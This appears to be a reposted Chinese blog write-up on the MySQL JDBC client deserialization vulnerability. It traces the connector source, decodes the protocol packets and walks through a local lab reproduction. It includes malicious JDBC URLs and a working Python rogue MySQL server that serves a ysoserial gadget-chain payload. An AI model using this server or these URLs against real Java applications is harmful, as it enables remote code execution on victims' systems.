Mysql JDBC反序列化漏洞

news2024/9/21 16:38:55

参考文章:梅子酒の笔记本

https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

小白看得懂的MySQL JDBC 反序列化漏洞分析 - 先知社区

MySQL JDBC反序列化漏洞 [ Mi1k7ea ]

MySQL JDBC 客户端反序列化漏洞分析_fnmsd的博客-CSDN博客

根据梅子酒师傅的笔记,可以知道,这是blackhat2019上的一个议题

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

Payload1(mysql5.0)

jdbc:mysql://127.0.0.1:3306/mysql?password=root&user=root&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

payload2(mysql8.0)

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

https://blog.csdn.net/weixin_42627812/article/details/114347208

参数解释

  • queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的类),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作);
  • autoDeserialize:自动检测与反序列化存在BLOB字段中的对象;

 

思路

JDBC建立到Mysql服务端的连接时,有几个内置的SQL语句被发出,其中两个查询的结果集会在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化

这两个查询语句是
  • SHOW SESSION STATUS //查看session连接数,状态
  • SHOW COLLATION //显示MySQL支持字符集的排序规则

 

利用mysql插件机制将这两个查询语句,在服务器端“重定向”为查询恶意表,恶意表中某字段存放恶意Object。

需要安装MySQL,创建恶意表,编译定制过的恶意MySQL插件。写一个通用的JDBC客户 端程序,用之访问恶意服务端。用Wireshark抓包,基于抓包数据用Python实现简版 恶意服务端,这样可以避免陷入MySQL私有协议细节当中

实验环境

  • mysql-connector-8.0.12.jar

  • idea 2020.1 专业版

  • windows 11

  • python3

  • ysoserial

  • Wireshark

  • commons-collections-3.2.1-1.0.0.jar

  • npcap

wireshark如果抓的是本地的包,需要使用npcap,因为它默认使用的是winpcap,它不会抓取本地回环的数据包

基础知识

JDBC

JDBC(Java DataBase Connectivity)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现,本文中的代码都是针对MySQL数据库实现的

简单的查询demo
String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.注册驱动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据,rs.next()返回true
while(rs.next()){
  System.out.println(rs.getString("id")+" : "+rs.getString("username"));

java序列化对象的特征

简单demo
public class Car implements Serializable {

    private String name;
    public Car(){
        this.name ="car";
    }

    public static void main(String[] args) throws IOException {
        Car car=new Car();
        FileOutputStream fos =new FileOutputStream("output");//输出路径
        ObjectOutputStream oos =new ObjectOutputStream(fos);
        oos.writeObject(car);
        oos.close();
    }
}

使用010打开生成的字节码文件

可以看出,前两个字节码分别是-84和-19,这是java对象的一个标识

原理分析

  1. 既然是反序列化漏洞,那我们就肯定需要需要能够解析我们传过来的恶意对象,而不是把我们传输过来的当作字节数据处理,所以肯定还是需要找到一个readObject方法

于是,作者在这里用到了com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

以下是删减后的源码

public Object getObject(int columnIndex) throws SQLException {

        Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
        switch (field.getMysqlType()) {
            case BIT:
               //判断数据是不是blob或者二进制数据
                if (field.isBinary() || field.isBlob()) {
                    byte[] data = getBytes(columnIndex);
                    //获取连接属性的autoDeserialize是否为true
                    if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
                        Object obj = data;
                        //data长度大于等于2是为了下一个判断.
                        if ((data != null) && (data.length >= 2)) {
                            if ((data[0] == -84) && (data[1] == -19)) {
                                //上面已经分析过了,就是识别是不是序列化后的对象
                                // Serialized object?                                
                                //下面就是反序列化对象了.
                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                }
                            }
                        }
                        return obj;
                    }
                    return data;
                }
          ..............

这里记录一下fnmsd师傅的踩坑

确定字段为BLOB类型除了协议报文中列字段类型为BLOB以外,还需要FLAGS大于128、来源表不为空,否则会被当做Text,开发工具的时候这块卡了好久。
  1. 接下来找调用getObject方法的地方,作者找到了com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法。
ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为 ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过如下调用链最终调用 getObject()方法。

跟进这个方法,会发现调用了getObject方法

这里只有8.0.12版本的会有,,8.0.22版本稍微改动之后,换成了toString方法。经过实验,很遗憾,并不能实现RCE,所以此版本比较苛刻

在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中.

开始复现[mysql8.0]

在JDBC连接MySQL的过程中,执行了SHOW SESSION STATUS语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.

这里就会有两种写法

1.根据MYSQL的协议去写服务器.

2.抓包,模拟发包过程.

这里选择使用第二种方法.(需要用到mysql协议)

抓包

选择loopback,开始抓包

运行数据库连接代码

import java.sql.Connection;
import java.sql.DriverManager;

public class Conn_test {
    public static void main(String[] args) throws Exception{
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&serverTimezone=UTC&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL,"root","root");
        System.out.println(conn);
    }
}

在DB_URL里面加入时区的参数,解决了报错

设置参数 "tcp.port== 3306 &&mysql"进行筛选

着重是这几个包,我们先来分析一下Response OK这个数据包,这是数据库连接成功时的返回的响应包

所以说我们要模拟发包的话,我们只需要发送0700000200000002000000

分析一下Greeting相应包的数据

这是一个问候报文,我们直接把数据发送过去就可以

那么他的Request Query 是指的哪个呢?当然指的是上文提到的SHOW SESSION STATUS

那么,他的响应包要怎么写呢?

Show session status相应包的编写

从流量中可以看出来show session status属于request Query 报文。对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。我们上面看到的Response OK数据包就是OK packet。这一部分主要用的是结果集数据包。官方例子:MySQL :: MySQL Internals Manual :: 14.12.2 ProtocolText::Resultset

上面的官方图说明了一个结果集响应包的结构。

  • 数据段1:说明下面的结果集有多少列
  • 数据段2:列的定义
  • 数据段3: EOF 包
  • 数据段4:行数据。

数据段的结构也是相似的。 长度(3字节) 序号(1字节) 协议数据(不同协议,数据不同)

这里拿师傅的数值举例

  1. 数据段1就可以写成 01 00 00 01 02 前三字节表示数据长度为1,sequence id为1,最后一字节02表示有两列(因为尝试写一列无法正常运行)
  2. 数据段2列的定义就比较复杂了。拿写好的数据直接分析吧 1a000002036465660001630163016301630c3f00ffff0000fcffff000000

1a 00 00 //3字节表示长度(这个长度说的是协议的内容长度,不包括序号那一字节)

02 //序号 因为是第二个数据字段

03646566 // 这个就是def的意思。

00 //schema 协议因为不使用就用00

01 63 //table 因为我们使用列数据,就不需要名字了,下面几个都是任意字符。字符串第一字节是用来说明长度的。

01 63 //org_table 01表示1字节,63是数据

0163 //name

0163 //org_name

0c filler // length of the following fields 总是0x0c

3f00 //characterset 字符编码 003f是binary

ffff0000 column_length //允许数据最大长度,就是我们行数据的最大长度。ffff

fc //column_type 这一列数据类型 fc表示blob

9000 //flags 9000用的官方的 poc可以运行。 看fnmsd的要大于128好像。

00 //decimals

0000 //filler_2

这是师傅们的exp

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()
def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))
def get_payload_content():
    //file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content
# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                //获取payload
                payload_content=get_payload_content()
                //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break

if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

编写demo

//注意,需要导入commons-collections-3.2.1-1.0.0.jar,add as a library,同时根据相应的java版本使用ysoserial生成序列化的恶意数据包。

import java.sql.Connection;
import java.sql.DriverManager;

public class Conn_test {
    public static void main(String[] args) throws Exception{
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&serverTimezone=UTC&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL,"root","root");
        System.out.println(conn);
//        String driver = "com.mysql.cj.jdbc.Driver";
//        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
//
//        Class.forName(driver);
//        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

运行开启的时候,将会触发,从而实现RcE

detectCustomCollations触发方式

将jar包换成Mysql-connector 5.1.28版本,之后定位到com.mysql.jdbc.ConnectionImplbuildCollationMapping方法中:

就可以看到,熟悉的配方。

但是需要满足两个条件

  1. 服务器版本大于等于4.1.0,并且 detectCustomCollations选项为true
  2. 获取了 SHOW COLLATION的结果后,服务器版本大于等于5.0.0才会进入到上一节说过的 resultSetToMap方法触发反序列化

但是从5.1.41版本开始,不再使用getObject的方式获取SHOW COLLATION的结果,此方法失效。

利用版本分析

detectCustomCollations触发:

5.x版本

  • 5.0.x版本:不可用
  • 5.1.18以下的5.1.x版本: 不可用
  • 5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.41及以上: 不可用

ServerStatusDiffInterceptor

  • 5.0.x: 不可用
  • 5.1.10及以下的5.1.X版本:先连接,才能执行查询

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

  • 5.1.11及以上的5.x版本(包名没有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 6.x(属性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 8.2.12以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

调试

在8.0.12版本中的新建实例

import java.sql.Connection;
import java.sql.DriverManager;

public class Conn_test {
    public static void main(String[] args) throws Exception{
//        String Driver = "com.mysql.jdbc.Driver";
//        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
//        Class.forName(Driver);
//        Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//        System.out.println(conn);
        String driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
      Class.forName(driver);
      Connection conn = DriverManager.getConnection(DB_URL);
    }
}

跟进DriverManager,在646行设下断点

会发现,先创建了一个实实例对象,然后判断是否连接成功,再进行合适的跳转。

将后面的参数属性设置完毕以后,拦截器属性的值就是我们在JDBC中设置的ServerStatusDiffInterceptor,之后,程序从MySQL服务端来初始化Properties并执行相关的SQL语句,其中判断如果查询拦截器不为空则调用查询拦截器的preProcess()函数:

然后会运行查询语句SHOW SESSION STATUS

执行查询语句之后,会跳转到ResultSetUtil.resultSetToMap方法

我们继续跟进,这时候会调用getObject方法

之后成功转到getObject方法

在判断好mysql传入的数据要为BLOB后。从mysql服务端中获取字节码数据

之后判断autoDeserialize是否为true、字节码数据是否为序列化对象等,最后调用readObject()触发反序列化漏洞:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1132473.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

双11商品售价不再出错!金鱼电器:价格自动监控,全年节省人天365

价格已成为双11吸引消费者的“杀手锏”,很多人“趴”在网上想“捡便宜”。但对商家而言,在设置价格的同时,还需要对活动价格自检以防出现“羊毛产品”,对竞品价格监控以防销量下滑,对乱价经销商留证以防品牌形象受损……

应用案例|基于高精度三维机器视觉的检测汽车座椅应用

Part.1 项目背景 检测汽车座椅是一个复杂的应用场景,需要综合运用多种技术和算法来实现。在这个场景中,通过使用3D视觉技术来感知汽车座椅的位置、形状和特征,使用摄像头或激光扫描仪等设备来获取汽车座椅的三维信息。然后利用这些信息来准确…

Systemd服务内存占用高的处理

参考文章 ### https://blog.csdn.net/weixin_44821644/article/details/121095406## https://blog.csdn.net/c123m/article/details/124301104 现象 检查 操作系统是4C8G,systemd的内存使用率比较高。操作系统日志没看到异常。很多服务通过systemd托管 ## 检查有…

基于springboot实现乐校园二手书交易管理系统【项目源码+论文说明】计算机毕业设计

基于springboot实现乐校园二手书交易管理系统演示 摘要 在Internet高速发展的今天,我们生活的各个领域都涉及到计算机的应用,其中包括乐校园二手书交易管理系统的网络应用,在外国二手书交易管理系统已经是很普遍的方式,不过国内的…

用C++写个简单的程序表白老妈

后天就是老妈的生日了&#xff0c;我打算写一个简单的程序表白老妈子&#xff0c;来肉麻一下她。在实现的过程中&#xff0c;有不少我没学过的知识&#xff0c;这些知识我都会予以补充。 创建图形窗口 创建图形窗口要包头文件&#xff1a; #include<easyx.h> 这是简单…

WordPress主题模板 大前端D8 5.1版本完整开源版源码简洁大气多功能配置

源码测评&#xff1a;该模板官方已更新至5.2&#xff0c;但是这个5.1也是非常好用的&#xff0c;经测试所有页面均完好&#xff0c;推荐下载使用。 模板简介&#xff1a; 大前端D8 主题是一款非常牛逼的WordPress博客主题,响应式,功能齐全,支持手机,电脑,平板,非常适合做博客站…

vue项目,程序控制台不报错,但是也没有达到预期

敲代码时&#xff0c;有时控制台不报错&#xff0c;但是也不如预期那样展示 1&#xff0c;需要打断点&#xff0c;有可能是某个对象没有值&#xff0c;比如axios.js&#xff0c;如图所示&#xff1a; error里面不一定有msg&#xff0c;所以直接《error.msg.indexOf(cancelCach…

动手学深度学习—批量规范化(代码详解)

批量规范化 1. 训练深层网络2. 批量规范化层2.1 全连接层2.2 卷积层 3. 从零实现批量规范化层4. 使用批量规范化层的 LeNet 批量规范化&#xff08;batch normalization&#xff09;&#xff0c;可持续加速深层网络的收敛速度。 1. 训练深层网络 数据预处理的方式通常会对最终结…

Stable Diffusion AI绘图

提示词&#xff1a; masterpiece, best quality, 1girl, (anime), (manga), (2D), half body, perfect eyes, both eyes are the same, Global illumination, soft light, dream light, digital painting, extremely detailed CGI anime, hd, 2k, 4k background 反向提示词&…

微机原理:汇编指令集——调用传送指令、算术运算指令、转移类指令(详解)

文章目录 一、通用传送类指令1、数据传送指令2、堆栈操作指令 二、算术运算指令1、总图2、加减运算指令2.1 例子2.2 INC/DEC指令 3、比较指令 三、转移类指令1、无条件转移2、有条件转移2.1 无符号数条件转移指令2.2 有符号数条件转移指令2.3 例题一2.4 循环控制指令&#xff0…

【golang】Go中的切片slice和操作笔记,垃圾回收机制,重组 reslice ,复制和追加,内存结构

切片 文章目录 切片将切片传递给函数make() 创建一个切片new() 和 make()的区别多维切片bytes包for-range切片重组 reslice切片的复制和追加 字符串、数组和切片的应用获取字符串的某一部分字符串和切片的内存结构修改字符串中的某个字符字节数组对比函数搜索及排序切片和数组a…

非侵入式负荷检测与分解:电力数据挖掘新视角

电力数据挖掘 概述案例背景分析目标分析过程数据准备数据探索缺失值处理 属性构造设备数据周波数据模型训练 性能度量推荐阅读 主页传送门&#xff1a;&#x1f4c0; 传送 概述 摘要&#xff1a;本案例将根据已收集到的电力数据&#xff0c;深度挖掘各电力设备的电流、电压和功…

全网最全面最深入 剖析华为“五看三定”战略神器中的“五看”(即市场洞察)(长文干货,建议收藏)

添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; &#xff08;本文摘自谢宁专著《华为战略管理法&#xff1a;DSTE实战体系》&#xff0c;欢迎购买&#xff09; 兵法有云&#xff1a;胜兵先胜而后求战&#xff0c;败兵先战而后求胜&#xff0c;所谓胜兵先…

对被测软件来说,需要多少测试就足够了?

相信每位测试人员或者测试团队都曾遇到这样的问题“需要多少测试才能确保软件成功发布”。这个答案很难回答&#xff0c;在很大程度上&#xff0c;这取决于被测软件的类型、用途和目标受众。所有的测试人员都希望用一种比测试手电筒的应用程序更严格的方法来测试其他软件。然而…

JavaScript异步编程:提升性能与用户体验

目录 什么是异步编程&#xff1f; 回调函数 Promise Async/Await 总结 在Web开发中&#xff0c;处理耗时操作是一项重要的任务。如果我们在执行这些操作时阻塞了主线程&#xff0c;会导致页面失去响应&#xff0c;用户体验下降。JavaScript异步编程则可以解决这个问题&…

睿趣科技:抖音开网店多久回本

随着互联网的发展&#xff0c;越来越多的人选择在抖音上开设网店。然而&#xff0c;开店容易&#xff0c;经营难。许多人关心的问题是&#xff1a;抖音开网店多久能回本? 首先&#xff0c;我们需要明确一点&#xff0c;抖音开网店的回本时间并不是固定的&#xff0c;它受到许多…

经典卷积神经网络 - NIN

网络中的网络&#xff0c;NIN。 AlexNet和VGG都是先由卷积层构成的模块充分抽取空间特征&#xff0c;再由全连接层构成的模块来输出分类结果。但是其中的全连接层的参数量过于巨大&#xff0c;因此NiN提出用1*1卷积代替全连接层&#xff0c;串联多个由卷积层和“全连接”层构成…

C语言:杨氏矩阵、杨氏三角、单身狗1与单身狗2

下面介绍四道题目和解法 1.杨氏矩阵 算法&#xff1a;右上角计算 题目&#xff1a;有一个数字矩阵&#xff0c;矩阵的每行从左到右是递增的&#xff0c;矩阵从上到下是递增的&#xff0c;请编写程序在这样的矩阵中查找某个数字是否存在。 要求&#xff1a;时间复杂度小于O(N…

react笔记基础部分(组件生命周期路由)

注意点&#xff1a; class是一个关键字&#xff0c; 类。 所以react 写class, 用classname &#xff0c;会自动编译替换class 点击方法&#xff1a; <button onClick {this.sendData}>给父元素传值</button>常用的插件&#xff1a; 需要引入才能使用的&#xf…

ubuntu执行普通用户或root用户执行apt-get update时报错Couldn‘t create temporary file /tmp/...

apt-get update无法更新&#xff0c;报错&#xff1a; Couldnt create temporary file /tmp/apt.conf.GSzv74 for passing config to&#xff0c;&#xff0c;&#xff0c; 这是由于/tmp目录没有权限导致的&#xff0c;解决办法&#xff1a; chmod 777 /tmp